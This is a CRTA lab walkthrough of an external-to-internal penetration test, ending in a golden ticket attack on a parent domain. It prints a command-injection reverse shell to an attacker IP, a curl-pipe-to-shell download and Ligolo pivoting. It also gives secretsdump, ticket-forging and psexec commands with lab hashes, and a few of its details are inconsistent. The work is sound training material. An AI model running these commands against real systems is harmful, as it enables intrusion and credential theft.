CRTA Lab Walkthrough: External & Internal Penetration Test

A full walkthrough of the CRTA lab environment, covering the external web exploitation chain through to internal network pivoting and Active Directory forest compromise via a Kerberos golden ticket attack.

securityred-teamactive-directorykerberospentesting

External Penetration Test

This first piece of our Red Team engagement will look to cover the external parameter security capabilities. We will cover several steps like enumeration and vulnerability exploitation.

| Field | Value | |---|---| | External IP Range | 192.168.80.0/24 |

Enumeration

Our first batch of enumeration for our external scan with nmap shows us that a host is current up, and available to us.

Nmap command:

nmap -sn 192.168.80.0/24

Nmap command output:

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/EPT]
└──╼ $nmap -sn 192.168.80.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-26 23:35 EST
Nmap scan report for 192.168.80.1
Host is up (0.17s latency).
Nmap scan report for 192.168.80.10
Host is up (0.27s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 10.13 seconds

Found host

From here, we can try and dig in further to find out more about this specific host found on 192.168.80.10 so we will do a full port scan.

Nmap command:

nmap -sS -p- -vvv -Pn -n 192.168.80.10

Nmap command output:

┌─[✗]─[root@parrot]─[/home/notconcerned/Documents/CRTA-LAB/EPT]
└──╼ #nmap -sS -p- -vvv -Pn -n 192.168.80.10
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-26 23:54 EST
Initiating SYN Stealth Scan at 23:54
Scanning 192.168.80.10 [65535 ports]
Discovered open port 22/tcp on 192.168.80.10
Discovered open port 80/tcp on 192.168.80.10

Our full port scan has shown that our host has both port 22 and port 80 opened, this allows us to enumerate this services further.

Nmap will allow us to do this with the following command:

nmap -sSCV -p22,80 192.168.80.10

Scan:

┌─[root@parrot]─[/home/notconcerned/Documents/CRTA-LAB/EPT]
└──╼ #nmap -sSCV -p22,80 192.168.80.10
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-12-27 00:00 EST
Nmap scan report for 192.168.80.10
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 8d:c3:a7:a5:bf:16:51:f2:03:85:a7:37:ee:ae:8d:81 (RSA)
|   256 9a:b2:73:5a:e5:36:b4:91:d8:8c:f7:4a:d0:15:65:28 (ECDSA)
|_  256 3c:16:a7:6a:b6:33:c5:83:ab:7f:99:60:6a:4c:09:11 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Cyber WareFare Labs
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 ip address (1 host up) scanned in 20.14 seconds

Webhost

Our enumeration lead to the discovery of a web server on port 80. alt text

We move forward by registering with a test user. alt text

As we find ourselves in an ecommerce web application, we have decided to run a gobuster command to find any possible directories we might find interesting:

command

gobuster dir -u http://cyberwar.ops -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html -t 40

Output:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cyberwar.ops
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 277]
/index.php            (Status: 200) [Size: 4249]
/search.php           (Status: 200) [Size: 444]
/.php                 (Status: 403) [Size: 277]
/assets               (Status: 301) [Size: 313] [--> http://cyberwar.ops/assets/]
/registration.php     (Status: 200) [Size: 3823]
/report.php           (Status: 302) [Size: 11107] [--> index.php]
/add.php              (Status: 302) [Size: 13412] [--> index.php]
/css                  (Status: 301) [Size: 310] [--> http://cyberwar.ops/css/]
/down.php             (Status: 200) [Size: 326]
/js                   (Status: 301) [Size: 309] [--> http://cyberwar.ops/js/]
/os.php               (Status: 200) [Size: 727]
/career.php           (Status: 302) [Size: 13175] [--> index.php]
/logout.php           (Status: 302) [Size: 1] [--> index.php]
/config.php           (Status: 200) [Size: 2]
/fonts                (Status: 301) [Size: 312] [--> http://cyberwar.ops/fonts/]
/sam.txt              (Status: 200) [Size: 13]

Nothing immediate catches our attention but os.php. After travelling to it, we realize this replicates the functional logic of the newsletter Subscribe Email in the dashboard. alt text

Looking deeper into our Subscribe Email functionality. We decide to use Burpsuite to easily manipulate our HTTP requests. We can see that the EMAIL input is easily modifiable. alt text

Sending this request to Burpsuite's repeater will allow to check its sanitization.

The EMAIL input is only sanitized in the frontend and allows for Remote Code Execution in the web host, proved by running whoami on the following POST request returning the www-data user: alt text

Foothold

We have found a RCE vulnerability in the web server through an unsanitized parameter. We will use this same vulnerability to use a reverse shell and connect into this host, were 10.10.200.206 is our attacking host, and 4444 is the listening port on this machine:

bash -c 'bash -i >& /dev/tcp/10.10.200.206/4444 0>&1'

To avoid any URL encoding issues with the parameter, the following tool called URLEncoder or Burpsuites Decoder tool to URL encode the string can be used. The actual sent payload will look like:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.200.206%2F4444%200%3E%261%27%20

Our attacking machine was setup with a netcat listener on port 4444 and reverse shell access has been set alt text

Manual enumeration is done in the host under the www-data user, which has really low privileges. A set of plaintext credentials are found in /etc/passwd for the user privilege:

www-data@ubuntu-virtual-machine:/etc$ cat passwd
cat passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
--[SNIP]--
ubuntu:x:1000:1000:ubuntu,,,:/home/ubuntu:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
privilege:x:1001:1001:Admin@962:/home/privilege:/bin/bash
sshd:x:128:65534::/run/sshd:/usr/sbin/nologin
mysql:x:129:135:MySQL Server,,,:/nonexistent:/bin/false

Privilege Escalation

The found credentials give us SSH access into the same host through the user privilege with a password Admin@962.

ssh privilege@192.168.80.10

Running sudo -l allows us to check what commands we can run:

privilege@ubuntu-virtual-machine:~$ sudo -l
[sudo] password for privilege:
Matching Defaults entries for privilege on ubuntu-virtual-machine:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User privilege may run the following commands on ubuntu-virtual-machine:
    (ALL : ALL) ALL

To avoid manual enumeration, linPEAS is utilized.

For ease of installation from the Attacking host we can curl the script directly from the GitHub repository:

curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh > linpeas.sh

We can also host the script in our local network and curl it from the victim machine, which is what we will do in this case. We can use python's built in HTTP server to do this:

# Local network
sudo python3 -m http.server #Host

In our web host we got access to over in 192.168.80.10

curl 10.10.200.206/linpeas.sh | sh #Victim

#or

curl 10.10.200.206/linpeas.sh -o linpeas.sh

Sourcing the script should work

source ./linpeas.sh

Some important information we get from our linpeas scan not involving vulnerabilities. This interface will be important for the internal piece:

                              ╔═════════════════════╗
══════════════════════════════╣ Network Information ╠══════════════════════════════
                              ╚═════════════════════╝
╔══════════╣ Interfaces
# symbolic names for networks, see networks(5) for more information
link-local 169.254.0.0
 ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.80.10  netmask 255.255.255.0  broadcast 192.168.80.255
        ether 00:50:56:96:17:f9  txqueuelen 1000  (Ethernet)
        RX packets 152365  bytes 176914936 (176.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 125048  bytes 19022214 (19.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

 ens34: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.98.15  netmask 255.255.255.0  broadcast 192.168.98.255
        ether 00:0c:29:28:1b:7e  txqueuelen 1000  (Ethernet)
        RX packets 8924  bytes 2918390 (2.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 10163  bytes 2226934 (2.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 16  base 0x1000

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 13972  bytes 4745588 (4.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 13972  bytes 4745588 (4.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

We find other interesting information like several SQL databases related to Mozilla Firefox which we enumerated:

-> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/favicons.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/formhistory.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/key4.db (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/permissions.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/places.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/protections.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/storage/default/https+++gofile.io/ls/data.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/storage/ls-archive.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/storage/permanent/chrome/idb/2823318777ntouromlalnodry--naod.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/storage/permanent/chrome/idb/2918063365piupsah.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/storage/permanent/chrome/idb/3561288849sdhlie.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/storage.sqlite (limit 20)
 -> Extracting tables from /home/privilege/.mozilla/firefox/b2rri1qd.default-release/webappsstore.sqlite (limit 20)
 -> Extracting tables from /home/ubuntu/.cache/tracker/meta.db (limit 20)

We manually check for each one of these tables being extracted. In this case, exfiltrating this data off this host is not necessary as SQLite is available. This process is very manual, but a set of credentials are found.

Traveling to the directory were the firefox information can be found we see the following information for places.sqlite:

privilege@ubuntu-virtual-machine:~/.mozilla/firefox/b2rri1qd.default-release$ sqlite3 places.sqlite
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite> .tables
moz_anno_attributes                 moz_keywords
moz_annos                           moz_meta
moz_bookmarks                       moz_origins
moz_bookmarks_deleted               moz_places
moz_historyvisits                   moz_places_metadata
moz_inputhistory                    moz_places_metadata_search_queries
moz_items_annos                     moz_previews_tombstones

We ran a SELECT query on all of this tables and found the following in moz_bookmarks.

alt text

A set of credentials in plain text.

http://192.168.98.30/admin/index.php?user=john@child.warfare.corp&pass=User1@#$%6|||1737028407427000|1737029666390000|tuXr2pTr03P2|1|7

This would be the last pieces of our external endeavor, moving into internal pivoting and enumeration.


Internal Penetration Test

By this point of the engagement we know there is a possible point of access into an internal network. Our external engagement left us with a set of credentials and a internal facing interface.

A set of credentials in plain text.

http://192.168.98.30/admin/index.php?user=john@child.warfare.corp&pass=User1@#$%6|||1737028407427000|1737029666390000|tuXr2pTr03P2|1|7

Some important information we get from our linpeas scan not involving vulnerabilities.

                              ╔═════════════════════╗
══════════════════════════════╣ Network Information ╠══════════════════════════════
                              ╚═════════════════════╝
╔══════════╣ Interfaces
# symbolic names for networks, see networks(5) for more information
link-local 169.254.0.0
ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.80.10  netmask 255.255.255.0  broadcast 192.168.80.255
        ether 00:50:56:96:17:f9  txqueuelen 1000  (Ethernet)
        RX packets 152365  bytes 176914936 (176.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 125048  bytes 19022214 (19.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

ens34: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.98.15  netmask 255.255.255.0  broadcast 192.168.98.255
        ether 00:0c:29:28:1b:7e  txqueuelen 1000  (Ethernet)
        RX packets 8924  bytes 2918390 (2.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 10163  bytes 2226934 (2.2 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 16  base 0x1000

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 13972  bytes 4745588 (4.7 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 13972  bytes 4745588 (4.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Configuring Ligolo

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS). Ligolo Docs

On our attacking host we will be downloading ligolo, both the agent and the proxy

#Proxy
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_proxy_0.4.3_Linux_64bit.tar.gz


#Agent
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.3/ligolo-ng_agent_0.4.3_Linux_64bit.tar.gz

Setting up proxy in attacking machine

After installing this so:

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/EPT]
└──╼ $sudo ip tuntap add user notconcerned mode tun ligolo
┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/EPT]
└──╼ $ip route
default via 192.168.137.2 dev ens33 proto dhcp src 192.168.137.145 metric 100
10.10.200.0/24 dev tun0 proto kernel scope link src 10.10.200.206
10.89.0.0/24 dev podman1 proto kernel scope link src 10.89.0.1
192.168.80.0/24 via 10.10.200.1 dev tun0
192.168.98.0/24 via 10.10.200.1 dev tun0
192.168.137.0/24 dev ens33 proto kernel scope link src 192.168.137.145 metric 100

We can then delete our current tun0 interface towards the internal ip range:

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/EPT]
└──╼ $sudo ip route del 192.168.98.0/24 dev tun0

Set up a link with our new ligolo interface

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/EPT]
└──╼ $sudo ip link set ligolo up

And re-add the 192.168.98.0/24 internal IP range to our new ligolo interface:

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/EPT]
└──╼ $sudo ip route add 192.168.98.0/24 dev ligolo
┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/EPT]
└──╼ $ip route
default via 192.168.137.2 dev ens33 proto dhcp src 192.168.137.145 metric 100
10.10.200.0/24 dev tun0 proto kernel scope link src 10.10.200.206
10.89.0.0/24 dev podman1 proto kernel scope link src 10.89.0.1
192.168.80.0/24 via 10.10.200.1 dev tun0
192.168.98.0/24 dev ligolo scope link linkdown
192.168.137.0/24 dev ens33 proto kernel scope link src 192.168.137.145 metric 100

We can then start the ligolo proxy server on the Attacking machine

┌─[✗]─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $sudo ./proxy -selfcert -laddr 0.0.0.0:443
WARN[0000] Using automatically generated self-signed certificates (Not recommended)
INFO[0000] Listening on 0.0.0.0:443
    __    _             __
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ /
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /
        /____/                          /____/

Made in France ♥ by @Nicocha30!

ligolo-ng »

Setting up agent in victim machine (privilege@192.168.80.10)

Transfer the agent to the victim machine & start the connection

Set up a python server on attacking machine

python -m http.server 8000

Curl the agent from the victim machine

privilege@ubuntu-virtual-machine:~$ curl http://10.10.200.206:8000/agent -o agent
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 4396k  100 4396k    0     0   255k      0  0:00:17  0:00:17 --:--:--  291k

Run the agent. Replace this with your attacker IP address.

privilege@ubuntu-virtual-machine:~$ sudo ./agent -connect 10.10.200.206:443 -ignore-cert
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established                        addr="10.10.200.206:443"

Our serverside attacking machine shows the connection:

igolo-ng » INFO[0632] Agent joined.                                 name=root@ubuntu-virtual-machine remote="192.168.80.10:36306"
ligolo-ng » session
? Specify a session :  [Use arrows to move, type to filter]
> 1 - root@ubuntu-virtual-machine - 192.168.80.10:36306

With this setup done, we can start up a tunnel and reach our new internal host from our attacking machine:

[Agent : root@ubuntu-virtual-machine] » start
[Agent : root@ubuntu-virtual-machine] » INFO[1188] Starting tunnel to root@ubuntu-virtual-machine

Enumeration

We will start with a basic enumeration through our internal range

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $nmap -sn 192.168.98.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-25 20:14 EST
Nmap scan report for 192.168.98.2
Host is up (0.61s latency).
Nmap scan report for 192.168.98.15
Host is up (0.19s latency).
Nmap scan report for 192.168.98.30
Host is up (0.22s latency).
Nmap scan report for 192.168.98.120
Host is up (0.36s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 27.04 seconds

The Nmap scan gave us some odd results, suggesting every IP in the range was up with suspiciously low latency. To filter out the noise and get an accurate list of live hosts, we will switch to fping. Now we have something to work with.

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $sudo fping -a -q -g 192.168.98.0/24 2>/dev/null
192.168.98.2
192.168.98.15
192.168.98.30
192.168.98.120

Accessing Internal Services

We previously recovered a set of credentials for the user john pointing to 192.168.98.30. Now that we have confirmed the host is alive, we can focus our enumeration there.

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $nmap -p- --open -n --max-retries 5000 -sS -vvv -Pn 192.168.98.30 -oG allPorts

The scan reveals several open ports, including SMB (139, 445) and RPC (135). With ports open and credentials in hand (john : User1@#$%6), we can try to enumerate SMB shares using CrackMapExec. Snipped logs to concentrate of our entry point.

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $crackmapexec --verbose smb 192.168.98.30 -u john -p 'User1@#$%6' --lsa
SMB         192.168.98.30   445    MGMT             [*] Windows 10.0 Build 17763 x64 (name:MGMT) (domain:child.warfare.corp) (signing:False) (SMBv1:False)
SMB         192.168.98.30   445    MGMT             [+] child.warfare.corp\john:User1@#$%6 (Pwn3d!)

Pwn3d! is always a good sign.With this, we have found our entry point through this machine. Digging deeper into the system, we find another set of cleartext credentials, this time for a user named corpmngr.

SMB         192.168.98.30   445    MGMT              corpmngr@child.warfare.corp:User4&*&

Credentials Found:

  • User: corpmngr@child.warfare.corp
  • Password: User4&*&

Lateral Movement & Domain Escalation

We need to see where this corpmngr user has access. We will spray these new credentials across the alive hosts we discovered earlier to check for privileges.

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $crackmapexec --verbose smb 192.168.98.120 -u corpmngr -p 'User4&*&' --lsa
SMB         192.168.98.120  445    CDC              [*] Windows Server 2019 Build 17763 x64 (name:CDC) (domain:child.warfare.corp) (signing:False) (SMBv1:False)
SMB         192.168.98.120  445    CDC              [+] child.warfare.corp\corpmngr:User4&*& (Pwn3d!)

It looks like corpmngr is a Local Administrator on 192.168.98.120, which appears to be the Child Domain Controller (CDC). This type of trust relationship means authentication requests can flow between domains, while Security Identifiers from one domain may be respected into the other domain.

Attacking Domain Trusts - Child -> Parent Trusts - from Windows Blog

With this access to the child domain we have positioned ourselves to leverage this trust relationship to attack the parent domain, warfare.corp.

Preparing for Domain Trust Abuse

We have discovered a Parent-Child domain relationship. To proceed with attacks against the domain structure, we need to ensure our attacking machine can resolve the domain names properly. We will add the Parent (warfare.corp) and Child (child.warfare.corp) domain controllers to our /etc/hosts file.

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/EPT]
└──╼ $echo "192.168.98.2 warfare.corp dc01.warfare.corp" | sudo tee -a /etc/hosts
┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/EPT]
└──╼ $echo "192.168.98.120 child.warfare.corp cdc.child.warfare.corp" | sudo tee -a /etc/hosts

Extracting Key Material

Since we have administrative access to the Child DC, we can dump the hashes. Specifically, we are interested in the krbtgt hash. This account signs the Kerberos tickets, and possessing it allows us to forge our own tickets.

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $impacket-secretsdump -debug child/corpmngr:'User4&*&*'@cdc.child.warfare.corp -just-dc-user 'child\krbtgt'
...
krbtgt:aes256-cts-hmac-sha1-96:ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2
...

To forge a "Golden Ticket" that allows us to cross from the Child domain to the Parent domain, we need to abuse the SID History attribute. For this, we need the Security Identifiers (SIDs) of both domains.

# Get Child Domain SID
┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $impacket-lookupsid child/corpmngr:'User4&*&*'@child.warfare.corp
[*] Domain SID is: S-1-5-21-3754860944-83624914-1883974761

# Get Parent Domain SID
┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $impacket-lookupsid child/corpmngr:'User4&*&*'@warfare.corp
[*] Domain SID is: S-1-5-21-3375883379-808943238-3239386119

The Golden Ticket Attack

We now have all the ingredients:

  1. krbtgt AES256: ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2
  2. Child SID: S-1-5-21-3754860944-83624914-1883974761
  3. Parent SID: S-1-5-21-3375883379-808943238-3239386119

We will use impacket-ticketer (ticketer.py in impacket repository) to create a Golden Ticket. Crucially, we will inject the Parent Domain's SID into the extra-sid field with the group ID 516 (Domain Admins). This convinces the Parent DC that we are administrators. The key here is SID History abuse, by injecting the Parent Domain's Enterprise Admins SID (-extra-sid) into our forged ticket, we are essentially telling the Parent DC that our Child domain user is also a member of its most privileged group. It won't question it, because the ticket is signed with the krbtgt key it trusts.

A quick reference on what each of this parameters/flags do when ran with the ticketer can be found here > Attacking Domain Trusts - Child -> Parent Trusts - from Linux, Better Way To Do It

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $impacket-ticketer -domain child.warfare.corp \
       -aesKey ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 \
       -domain-sid S-1-5-21-3754860944-83624914-1883974761 \
       -groups 516 \
       -user-id 1106 \
       -extra-sid S-1-5-21-3375883379-808943238-3239386119-516,S-1-5-9 \
       'corpmngr'

With the ticket created (corpmngr.ccache), we export it to our environment variable so our tools can use it for authentication.

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $export KRB5CCNAME=corpmngr.ccache

Next, we request Ticket Granting Service specifically for the Parent Domain Controller (dc01.warfare.corp). A Golden Ticket alone isn't enough to talk to the Parent DC, meaning we need a service ticket scoped specifically to it. getST takes our forged Golden Ticket and requests a TGS for CIFS on dc01.warfare.corp, which is what gives us actual file system access.

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $impacket-getST -spn 'CIFS/dc01.warfare.corp' -k -no-pass child.warfare.corp/corpmngr -debug

We update our environment variable to use this new service ticket.

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $export KRB5CCNAME=corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache

Parent Domain Compromise

With a valid ticket for the Parent DC, we can finally dump the Administrator's hashes from the parent domain.

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $impacket-secretsdump -k -no-pass dc01.warfare.corp -just-dc-user 'warfare\Administrator'
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:ca1d92ce23046a58b1cec292376a7d3ec6de02176bf44fb50fede1db46fec183
...

Finally, we can use these hashes to get a full shell on the Parent Domain Controller using psexec.

┌─[notconcerned@parrot]─[~/Documents/CRTA-LAB/IPT/tools]
└──╼ $impacket-psexec -debug 'warfare/Administrator@dc01.warfare.corp' -hashes :a2f7b77b62cd97161e18be2ffcfdfd60
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[*] StringBinding ncacn_np:dc01.warefare.corp[\pipe\svcctl]
[*] Requesting shares on dc01.warfare.corp.....
[*] Found writable share ADMIN$
[*] Uploading file....
[*] Opening SVCManager on dc01.warfare.corp.....
[*] Creating service....
[*] Starting service....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
warfare\administrator

We have successfully compromised the entire forest, moving from a web vulnerability to Child Domain Admin, and finally to Enterprise/Parent Domain Admin.